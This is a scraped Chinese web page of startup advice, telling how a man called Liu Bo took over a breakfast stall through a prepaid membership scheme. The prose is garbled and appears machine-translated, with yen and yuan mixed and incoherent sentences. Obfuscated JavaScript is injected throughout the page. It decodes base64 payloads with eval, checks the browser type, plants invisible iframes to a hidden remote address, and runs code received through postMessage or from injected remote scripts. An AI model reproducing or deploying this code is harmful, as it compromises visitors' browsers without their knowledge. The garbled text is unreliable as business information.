eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
白手创业项目_创业好项目

2021年11月24日 拜克 阅读(17)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

现在的饮食业很难。关店率已经达到70%。很多店的老板都在赔偿。但是,很多白手创业项目人犹豫不定,热情地实现了创业的梦想,集资找项目,进入了餐厅的开店热潮。蛋糕那么大,无数眼睛虎视眈眈。好吃的东西是刚需每个人都会吃的东西,但是现在的市场已经不是20年前了,所以要想赚钱的话必须要根据时代改变想法。

接下来共有两个创业事例,来启发你的思考方式。

第一个

刘波讨厌打工,累得不自由,总是受丈夫的委屈。这个月拿到工资后马上炒了社长鱿鱼。幸好拿着八千日元,绞尽脑汁加入了无业游民,实现了他致富创业的梦想。

为了寻找商业机会,我在这一天的早上吃了刀削面,创业好项目,和社长说话了。社长说这家店的位置很好。后面有一个很大的小区。来了很多人。怎么样?我觉得你的生意不太好。做这个摊子也有5、6年了。到了50多岁儿子也结婚有了孩子,精神不好了。单一味道的客人渐渐少了。即使想转让也没有人接受,所以这样消耗着。刘波我问了社长。这家店怎么逛?是什么样的条件?老板说房租每月6000日元,转让费不到8万日元。这里设施齐全,可以捕捉。刘波要说一个月内这样度过能赚多少钱的话,社长说是6、7千日元。那么,我考虑一下下面的事情。稍后回信。

两天后,刘波摸了好几次周围的情况再来那家店,对社长这样说。我想继承这家店,但是没有心底。那天你还没有说能赚6、7千日元。一个月后,如果我的资料经营好的话,我会正式继承8万日元。如果不是这个材料的话还回去怎么样?上司认为我不做也可以,所以可以赚这么多钱。而且,我确实不想做。两个人写了简单的合同交给刘波。

刘波我看了这两天的面包车卖小笼包,说是卖油条豆腐的头,卖煎饼。每天早上开始晒太阳,被镇上的管理人赶着,后天开始你们就进我的店。这个月也不需要租金。我先试试看。生意到下个月。一些摊子的主人认为这是件好事,纷纷表示赞成。刘波那就这样吧。明天去收拾小摊。后天开店。

第二天,刘波身上有一千日元。我买了500元鸡蛋。回到店里开始煮一个锅。过了火后,烧到几个大盆里。那几个社长也都来打扫,收拾家具。

第二天早上来的人发现以前的文化馆的样子变了。窗户的明暗度有好几种食物。在入口处的招牌上,开店大吉吃了早饭后会给一个人一个茶叶蛋的服白手创业项目务。到10天。有了这样的好事,就一个接一个地钻进店里,在哪里吃呢?吃吗?这一天生意很好。第二天早上来的人更多了。店的会计处墙上贴着大海报。用599元办了卡,成为了本店的会员。这个月早点免费吃。大家想想看。吃了一个月还需要200元以上。钱还剩下。可以吃免费的鸡蛋。合适。我住在附近。有人开始办卡了。看到别人做的话,会有更多的人着急。不到一周这200人的名额就结束了。

像这样变得通红已经过了一个月了。削面的社长来店里,和刘波正式交换。请看那个积累之后再看店里现在的情况。削面的社长也必须由衷地佩服。

之后刘波拿出剩下的数万日元,作为每月的销售额,把一万日元分给了社长一个人。另外,今后大家共同经营,平均每人占有四分之一的股份,负担费用,平均分配分红,一定有几个人推荐。这家店一帆风顺。

之后刘波使用这个模型,在厦门的大城市开了很多分店。那一年赚了30万元。之后,取了名字制作了连锁。混合是因为有形状。

事例说完,削面老板没有赔钱,刘波一些赚钱,创业好项目,又混理事长,周边群众省钱,五方八面也都大喜。

在未来,商业模式才是老板,创业好项目,创业者是不断思考、不断探索的重要商业难题,无论是社长个人的成长还是企业的发展,都需要革新的商业模式商业模式是个人成功和企业收益发展的途径。

这是个快速发展的时代,思维跟不上,注定要被淘汰,你的企业和项目还用十年前的方式方法吗?

不学习也可以,但竞争对手永远不会放弃学习。有商务问题。请相信我。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}